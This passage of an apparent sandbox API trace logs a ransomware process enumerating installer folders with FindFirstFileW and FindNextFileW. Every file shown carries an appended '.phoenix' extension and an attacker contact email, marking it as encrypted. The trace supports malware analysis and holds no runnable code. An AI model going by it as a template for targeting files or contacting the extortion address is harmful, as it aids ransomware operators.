	[0219.213] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e924c5a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e924c5a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e9ba17f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.213] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e924c5a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e924c5a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e9ba17f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.213] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.214] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.214] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3082", cAlternateFileName="")) returned 1
	[0219.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.215] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.215] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f522dca, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f522dca, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f5b4038, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.215] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5dbf5e, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f5dbf5e, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f8d4cd0, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13982, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.215] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9ba17f, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e9ba17f, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ea9ef7f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.215] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9ba17f, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e9ba17f, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ea9ef7f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.215] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.216] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.216] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Client", cAlternateFileName="")) returned 1
	[0219.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.217] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.217] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f62629e, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f62629e, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f9d261f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x31552, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARAME~1.PHO")) returned 1
	[0219.217] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f8faf87, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f8faf87, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f96d727, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="UIINFO~1.PHO")) returned 1
	[0219.217] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f8faf87, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f8faf87, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f96d727, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="UIINFO~1.PHO")) returned 0
	[0219.217] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.218] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.218] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f96d727, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f96d727, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3fa9ea66, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4002, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DHtmlHeader.html.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DHTMLH~1.PHO")) returned 1
	[0219.218] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea9ef7f, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ea9ef7f, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3eb83e2d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DisplayIcon.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DISPLA~1.PHO")) returned 1
	[0219.218] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Extended", cAlternateFileName="")) returned 1
	[0219.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.219] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.219] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f9d261f, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f9d261f, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3fac6a18, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x16d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARAME~1.PHO")) returned 1
	[0219.219] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa9ea66, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3fa9ea66, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3fc7d619, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="UIINFO~1.PHO")) returned 1
	[0219.219] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa9ea66, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3fa9ea66, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3fc7d619, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="UIINFO~1.PHO")) returned 0
	[0219.219] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.220] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.220] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0219.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.221] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.221] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eac53fa, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3eac53fa, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3eb5dcad, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PRINTI~1.PHO")) returned 1
	[0219.221] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eb5dcad, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3eb5dcad, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ebd02e7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="ROTATE~1.PHO")) returned 1
	[0219.221] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eb83e2d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3eb83e2d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ebd02e7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="ROTATE~2.PHO")) returned 1
	[0219.221] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd02e7, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ebd02e7, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ebf646c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="ROTATE~3.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ec68c52, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ec68c52, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ecdb2e2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="ROTATE~4.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ec68c52, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ec68c52, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ecdb2e2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="RO0418~1.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecdb2e2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ecdb2e2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ed99f6c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="ROC94E~1.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecdb2e2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ecdb2e2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3edc00f3, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="RO8F74~1.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edc00f3, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3edc00f3, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ee5a52c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="RO796F~1.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ede62a6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ede62a6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f05e6ac, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SAVEIC~1.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee7ec2c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ee7ec2c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f06ec98, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x9062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPI~1.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f05e6ac, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f05e6ac, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f1e202a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="STOPIC~1.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f06ec98, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f06ec98, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f19ff25, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SYSREQ~1.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f19ff25, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f19ff25, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f2465b3, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SYSREQ~2.PHO")) returned 1
	[0219.222] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f1e8a07, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f1e8a07, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f2465b3, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="WARNIC~1.PHO")) returned 1
